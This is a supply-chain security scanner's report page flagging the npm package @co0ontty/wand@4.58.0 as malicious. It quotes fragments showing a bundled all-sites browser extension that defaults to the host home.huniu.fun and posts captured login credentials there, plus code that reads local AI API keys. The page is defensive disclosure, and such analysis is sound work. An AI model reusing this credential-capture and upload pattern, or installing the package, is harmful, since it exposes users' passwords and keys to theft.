Loading npm security reports…

@co0ontty/wand@4.58.0: Malicious npm security report (Block) | LPM Firewall

registry / @co0ontty/wand / 4.58.0

@co0ontty/wand@4.58.0

A web console for Claude Code, Codex, OpenCode, and other local CLI tools.

AI Security Review

scanned 27d ago · by lpm-firewall-ai

The bundled browser extension is configured to use home.huniu.fun by default. It runs on all sites and can transmit saved website credentials to that host.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

A user loads the bundled extension, logs in to its default server, and accepts a login-save prompt.

Impact

Website usernames and passwords can be sent to a publisher-controlled remote service; local AI API keys are also read by the CLI runtime.

Mechanism

All-site credential capture followed by remote password-vault upload.

Attack narrative

The package ships an all-sites browser extension that automatically selects home.huniu.fun as its server. Once configured, the extension captures submitted login credentials after its own save prompt and uploads them through its remote API. The package also contains runtime code that reads API credentials from local Claude, Codex, OpenCode, and Grok configuration files. The absence of an npm install hook does not remove the credential-collection behavior in the distributed extension.

AI rationale

The default remote endpoint, all-site extension access, and credential upload form a concrete credential-exfiltration path. The broad local AI credential discovery adds further sensitive-data exposure.

Evidence

browser-extension/shared/url-tools.mjsbrowser-extension/manifest.jsonbrowser-extension/src/content-script.jsbrowser-extension/src/background.jsbrowser-extension/src/api.jsdist/system-ai.js

Source & flagged code

24 flagged

dist/config.jsView file

Lines 60-100javascript

60 if (process.platform === "win32") {

61 return process.env.COMSPEC || "cmd.exe";

62 }

63 try {

64 const loginShell = os.userInfo().shell?.trim();

65 if (loginShell)

66 return loginShell;

67 }

68 catch {

69 // userInfo() throws when the process has no passwd entry.

70 }

71 const envShell = process.env.SHELL?.trim();

72 if (envShell)

73 return envShell;

74 return process.platform === "darwin" ? "/bin/zsh" : "/bin/bash";

75}

76export const defaultConfig = () => ({

77 host: "127.0.0.1",

78 port: 8443,

79 https: false,

80 password: "change-me",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/config.jsView on unpkg · L80

81 defaultProvider: "claude",

82 defaultSessionKind: "structured",

83 defaultTaskWorktree: true,

84 // 非 root 启动时才有资格用 Claude 的 permission-bypass（root 会被 Claude CLI 拒绝），

85 // 所以这种环境下把默认执行模式抬到「托管」——开箱即得自动确认权限的全自主体验。

86 // root 启动则保守回落到「default」（托管在 root 下也只能降级成 acceptEdits）。

87 // 注意：defaultMode 是偏好字段，只存 SQLite、不写 config.json（见 stripPreferenceFields），

88 // 这里仅作为「用户从未在设置里显式选过模式」时的回落值——显式选择始终优先。

89 defaultMode: isRunningAsRoot() ? "default" : "managed",

90 shell: resolveDefaultShell(),

91 defaultCwd: process.cwd(),

92 startupCommands: [],

93 allowedCommandPrefixes: [],

94 shortcutLogMaxBytes: 10 * 1024 * 1024,

95 language: "",

96 android: defaultAndroidApkConfig(),

97 macos: defaultMacosDmgConfig(),

98 ios: defaultIosIpaConfig(),

99 cardDefaults: defaultCardExpandDefaults(),

100 defaultModel: "",

dist/structured-codex-adapter.jsView file

Lines 1-21javascript

1import { spawn } from "node:child_process";

2import { startStructuredCli } from "./structured-exec-pump.js";

High

Child Process

Package source references child process execution.

dist/structured-codex-adapter.jsView on unpkg · L1

3import { CodexProtocolReducer } from "./structured-codex-protocol.js";

dist/git-utils.jsView file

Lines 14-54javascript

14 GIT_ASKPASS: "true",

15 GCM_INTERACTIVE: "never",

16 SSH_ASKPASS_REQUIRE: "never",

17 GIT_EDITOR: "true",

18 GIT_SEQUENCE_EDITOR:

dist/tui/layout.jsView file

Lines 1-22javascript

1import { createRequire } from "node:module";

2import { stripAnsi } from "../pty-text-utils.js";

3const require = createRequire(import.meta.url);

dist/password-manager.jsView file

Lines 1-21javascript

1import crypto from "node:crypto";

2export const DEFAULT_BROWSER_EXTENSION_BASE_URL = "https://home.huniu.fun:8183";

3export const DEFAULT_PASSWORD_VAULT_ID = "personal"

dist/tui/commands.jsView file

Lines 1-24javascript

1/**

2 * TUI 运维操作命令集合。

3 *

4 * 所有命令统一返回 CommandResult，UI 层负责把结果渲染到 toast / 弹窗 / 日志。

5 * 命令本身不直接写 stdout / stderr —— TUI 模式下 stderr 已经被 log-bus 劫持。

6 */

7import { spawn, spawnSync } from "node:child_process";

8import { existsSync, mkdirSync, readFileSync, statSync, writeFileSync, unlinkSync } from

browser-extension/src/background.jsView file

•A browser extension granted access to all pages captures login passwords and POSTs vault records to a package-defined external default service. browser-extension/manifest.json: "<all_urls>" "service_worker": "src/background.js", "content_scripts": [ "<all_urls>" browser-extension/shared/url-tools.mjs: export const DEFAULT_BASE_URL = "https://home.huniu.fun:8183"; if (!raw) return DEFAULT_BASE_URL; if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return DEFAULT_BASE_URL; return DEFAULT_BASE_URL; const parsed = new URL(raw.includes("://") ? raw : `https://${raw}`); browser-extension/src/background.js: return { login: await loginAndAttach(message.baseUrl, message.password) }; body: JSON.stringify(message.item) body: JSON.stringify(message.item) body: JSON.stringify({ secret: m

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

browser-extension/src/background.jsView on unpkg

Critical

Browser Credential Phishing

Source appears to collect browser login credentials for exfiltration.

browser-extension/src/background.js

dist/npm-update-utils.jsView file

Lines 1-33javascript

1/**

2 * npm 全局更新通用辅助。

3 *

4 * 共用于 server.ts 的 /api/update / performAutoUpdate，以及 TUI 的 installUpdate。

5 *

6 * 解决的核心问题：当 wand 进程正在运行（systemd/launchd/nohup/直接前台都算）时，

7 * `npm install -g @co0ontty/wand@latest` 会把旧包目录 rename 成 `.wand-XXXXXX` 备份。

8 * 如果安装中途失败，这个备份目录会留下，之后每次 npm install 都会因为目标 dest 已存在

9 * 报 `ENOTEMPTY: directory not empty, rename ...`。

10 *

11 * 我们的策略：安装前备份当前全局包，补齐 npm 子进程 PATH，清掉

dist/server.jsView file

Lines 1-25javascript

1import crypto from "node:crypto";

2import compression from "compression";

3import express from "express";

4import { existsSync, readFileSync } from "node:fs";

dist/cert.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 6

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/cert.js#virtual:normalized:round1View on unpkg

dist/cli.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/cli.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cli.jsView on unpkg

dist/path-repair.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/path-repair.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/path-repair.jsView on unpkg

dist/provider-cli-updater.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/provider-cli-updater.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/provider-cli-updater.jsView on unpkg

dist/update-helper.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/update-helper.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/update-helper.jsView on unpkg

dist/cert.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/cert.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cert.jsView on unpkg

dist/distribution-manager.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/distribution-manager.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/distribution-manager.jsView on unpkg

dist/relaunch.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/relaunch.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relaunch.jsView on unpkg

dist/system-ai.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/system-ai.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/system-ai.jsView on unpkg

dist/terminal-host.jsView file

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/terminal-host.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/terminal-host.jsView on unpkg

Source & flagged code

24 flagged · loading source

dist/config.jsView file

80patternName = generic_password severity = medium line = 80

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/config.jsView on unpkg · L80

dist/structured-codex-adapter.jsView file

1import { spawn } from "node:child_process"; L2: import { startStructuredCli } from "./structured-exec-pump.js";

High

Child Process

Package source references child process execution.

dist/structured-codex-adapter.jsView on unpkg · L1

dist/git-utils.jsView file

34} L35: function gitExecAsyncOptions(cwd, opts) { L36: return {

High

Shell

Package source references shell execution.

dist/git-utils.jsView on unpkg · L34

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/git-utils.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/git-utils.jsView on unpkg

dist/tui/layout.jsView file

2import { stripAnsi } from "../pty-text-utils.js"; L3: const require = createRequire(import.meta.url); L4: // neo-blessed 是 CJS，没有匹配 @types/blessed 的 default export，统一当 any 用。

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/tui/layout.jsView on unpkg · L2

dist/password-manager.jsView file

1import crypto from "node:crypto"; L2: export const DEFAULT_BROWSER_EXTENSION_BASE_URL = "https://home.huniu.fun:8183"; L3: export const DEFAULT_PASSWORD_VAULT_ID = "personal"; ... L255: const encrypted = Buffer.concat([cipher.update(plaintext, "utf8"), cipher.final()]); L256: return `${VAULT_CIPHER_PREFIX}${iv.toString("base64url")}.${cipher.getAuthTag().toString("base64url")}.${encrypted.toString("base64url")}`; L257: }

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/password-manager.jsView on unpkg · L1

dist/tui/commands.jsView file

4Trigger-reachable persistence chain: manifest.bin -> dist/cli.js -> dist/tui/commands.js L4: * 所有命令统一返回 CommandResult，UI 层负责把结果渲染到 toast / 弹窗 / 日志。 L5: * 命令本身不直接写 stdout / stderr —— TUI 模式下 stderr 已经被 log-bus 劫持。 L6: */ L7: import { spawn, spawnSync } from "node:child_process"; L8: import { existsSync, mkdirSync, readFileSync, statSync, writeFileSync, unlinkSync } from "node:fs"; ... L39: stdio: "inherit", L40: env: process.env, L41: }); ... L107: export function openInBrowser(url) { L108: const cmd = process.platform === "darwin" L109: ? "open" ... L133: ok: false,

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

dist/tui/commands.jsView on unpkg · L4

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/tui/commands.js matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/tui/commands.jsView on unpkg

4* 所有命令统一返回 CommandResult，UI 层负责把结果渲染到 toast / 弹窗 / 日志。 L5: * 命令本身不直接写 stdout / stderr —— TUI 模式下 stderr 已经被 log-bus 劫持。 L6: */ L7: import { spawn, spawnSync } from "node:child_process"; L8: import { existsSync, mkdirSync, readFileSync, statSync, writeFileSync, unlinkSync } from "node:fs"; ... L39: stdio: "inherit", L40: env: process.env, L41: }); ... L107: export function openInBrowser(url) { L108: const cmd = process.platform === "darwin" L109: ? "open" ... L133: ok: false,

browser-extension/src/background.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

browser-extension/src/background.jsView on unpkg

Critical

Browser Credential Phishing

Source appears to collect browser login credentials for exfiltration.

browser-extension/src/background.js

dist/npm-update-utils.jsView file

13Cross-file remote execution chain: dist/npm[redacted] spawns dist/web-ui/content/scripts.js; helper contains network access plus dynamic code execution. L13: */ L14: import { execFile, spawnSync } from "node:child_process"; L15: import { randomUUID } from "node:crypto"; ... L26: const PACKAGE_BASENAME = "wand"; L27: const DEFAULT_NPM_BIN = process.platform === "win32" ? "npm.cmd" : "npm"; L28: const COMMON_UNIX_PATHS = ["/usr/local/sbin", "/usr/local/bin", "/usr/sbin", "/usr/bin", "/sbin", "/bin"]; ... L32: function npmBin() { L33: return process.env.WAND_NPM_BIN || DEFAULT_NPM_BIN; L34: } ... L78: try { L79: const { stdout } = await execFileAsync(npmBin(), ["view", getInstallSpecForChannel(channel), "version"], { timeout: timeoutMs, env: getChildEnv(), maxBuffer: INSTALL_MAX_BUFFER }); L8

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/npm-update-utils.jsView on unpkg · L13

•matchType = normalized_sha256 matchedPackage = @co0ontty/wand@4.57.0 matchedPath = dist/npm[redacted] matchedIdentity = npm:QGNvMG9udHR5L3dhbmQ:4.57.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/npm-update-utils.jsView on unpkg

dist/server.jsView file

5Detached bundled service listener: dist/server.js launches a Node helper and exposes a broad-bound HTTP listener. L5: import { stat } from "node:fs/promises"; L6: import { createServer as createHttpServer } from "node:http"; L7: import { createServer as createHttpsServer } from "node:https"; L8: import { spawn } from "node:child_process"; L9: import os from "node:os"; ... L59: // ── Package info ── L60: const PKG_JSON = JSON.parse(readFileSync(path.join(RUNTIME_ROOT_DIR, "package.json"), "utf8")); L61: const PKG_NAME = PKG_JSON.name; ... L103: function isExternalAvatarSource(value) { L104: return /^(https?:|data:)/i.test(value); L105: } ... L375: const candidates = [];

High

Spawned Bundled Service Listener

Source launches a detached bundled service that exposes a broad-bound HTTP listener.

dist/server.jsView on unpkg · L5

dist/cert.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 6

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/cert.js#virtual:normalized:round1View on unpkg

dist/cli.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cli.jsView on unpkg

dist/path-repair.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/path-repair.jsView on unpkg

dist/provider-cli-updater.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/provider-cli-updater.jsView on unpkg

dist/update-helper.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/update-helper.jsView on unpkg

dist/cert.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cert.jsView on unpkg

dist/distribution-manager.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/distribution-manager.jsView on unpkg

dist/relaunch.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relaunch.jsView on unpkg

dist/system-ai.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/system-ai.jsView on unpkg

dist/terminal-host.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/terminal-host.jsView on unpkg

Source & flagged code

24 flagged

dist/config.jsView file

Lines 60-100javascript

60 if (process.platform === "win32") {

61 return process.env.COMSPEC || "cmd.exe";

62 }

63 try {

64 const loginShell = os.userInfo().shell?.trim();

65 if (loginShell)

66 return loginShell;

67 }

68 catch {

69 // userInfo() throws when the process has no passwd entry.

70 }

71 const envShell = process.env.SHELL?.trim();

72 if (envShell)

73 return envShell;

74 return process.platform === "darwin" ? "/bin/zsh" : "/bin/bash";

75}

76export const defaultConfig = () => ({

77 host: "127.0.0.1",

78 port: 8443,

79 https: false,

80 password: "change-me",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/config.jsView on unpkg · L80

81 defaultProvider: "claude",

82 defaultSessionKind: "structured",

83 defaultTaskWorktree: true,

84 // 非 root 启动时才有资格用 Claude 的 permission-bypass（root 会被 Claude CLI 拒绝），

85 // 所以这种环境下把默认执行模式抬到「托管」——开箱即得自动确认权限的全自主体验。

86 // root 启动则保守回落到「default」（托管在 root 下也只能降级成 acceptEdits）。

87 // 注意：defaultMode 是偏好字段，只存 SQLite、不写 config.json（见 stripPreferenceFields），

88 // 这里仅作为「用户从未在设置里显式选过模式」时的回落值——显式选择始终优先。

89 defaultMode: isRunningAsRoot() ? "default" : "managed",

90 shell: resolveDefaultShell(),

91 defaultCwd: process.cwd(),

92 startupCommands: [],

93 allowedCommandPrefixes: [],

94 shortcutLogMaxBytes: 10 * 1024 * 1024,

95 language: "",

96 android: defaultAndroidApkConfig(),

97 macos: defaultMacosDmgConfig(),

98 ios: defaultIosIpaConfig(),

99 cardDefaults: defaultCardExpandDefaults(),

100 defaultModel: "",

dist/structured-codex-adapter.jsView file

Lines 1-21javascript

1import { spawn } from "node:child_process";

2import { startStructuredCli } from "./structured-exec-pump.js";

High

Child Process

Package source references child process execution.

dist/structured-codex-adapter.jsView on unpkg · L1

3import { CodexProtocolReducer } from "./structured-codex-protocol.js";

dist/git-utils.jsView file

Lines 14-54javascript

14 GIT_ASKPASS: "true",

15 GCM_INTERACTIVE: "never",

16 SSH_ASKPASS_REQUIRE: "never",

17 GIT_EDITOR: "true",

18 GIT_SEQUENCE_EDITOR:

dist/tui/layout.jsView file

Lines 1-22javascript

1import { createRequire } from "node:module";

2import { stripAnsi } from "../pty-text-utils.js";

3const require = createRequire(import.meta.url);

dist/password-manager.jsView file

Lines 1-21javascript

1import crypto from "node:crypto";

2export const DEFAULT_BROWSER_EXTENSION_BASE_URL = "https://home.huniu.fun:8183";

3export const DEFAULT_PASSWORD_VAULT_ID = "personal"

dist/tui/commands.jsView file

Lines 1-24javascript

1/**

2 * TUI 运维操作命令集合。

3 *

4 * 所有命令统一返回 CommandResult，UI 层负责把结果渲染到 toast / 弹窗 / 日志。

5 * 命令本身不直接写 stdout / stderr —— TUI 模式下 stderr 已经被 log-bus 劫持。

6 */

7import { spawn, spawnSync } from "node:child_process";

8import { existsSync, mkdirSync, readFileSync, statSync, writeFileSync, unlinkSync } from

browser-extension/src/background.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

browser-extension/src/background.jsView on unpkg

Critical

Browser Credential Phishing

Source appears to collect browser login credentials for exfiltration.

browser-extension/src/background.js

dist/npm-update-utils.jsView file

Lines 1-33javascript

1/**

2 * npm 全局更新通用辅助。

3 *

4 * 共用于 server.ts 的 /api/update / performAutoUpdate，以及 TUI 的 installUpdate。

5 *

6 * 解决的核心问题：当 wand 进程正在运行（systemd/launchd/nohup/直接前台都算）时，

7 * `npm install -g @co0ontty/wand@latest` 会把旧包目录 rename 成 `.wand-XXXXXX` 备份。

8 * 如果安装中途失败，这个备份目录会留下，之后每次 npm install 都会因为目标 dest 已存在

9 * 报 `ENOTEMPTY: directory not empty, rename ...`。

10 *

11 * 我们的策略：安装前备份当前全局包，补齐 npm 子进程 PATH，清掉

dist/server.jsView file

Lines 1-25javascript

1import crypto from "node:crypto";

2import compression from "compression";

3import express from "express";

4import { existsSync, readFileSync } from "node:fs";

dist/cert.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 6

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/cert.js#virtual:normalized:round1View on unpkg

dist/cli.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cli.jsView on unpkg

dist/path-repair.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/path-repair.jsView on unpkg

dist/provider-cli-updater.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/provider-cli-updater.jsView on unpkg

dist/update-helper.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/update-helper.jsView on unpkg

dist/cert.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/cert.jsView on unpkg

dist/distribution-manager.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/distribution-manager.jsView on unpkg

dist/relaunch.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relaunch.jsView on unpkg

dist/system-ai.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/system-ai.jsView on unpkg

dist/terminal-host.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/terminal-host.jsView on unpkg

@co0ontty/wand@4.58.0

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code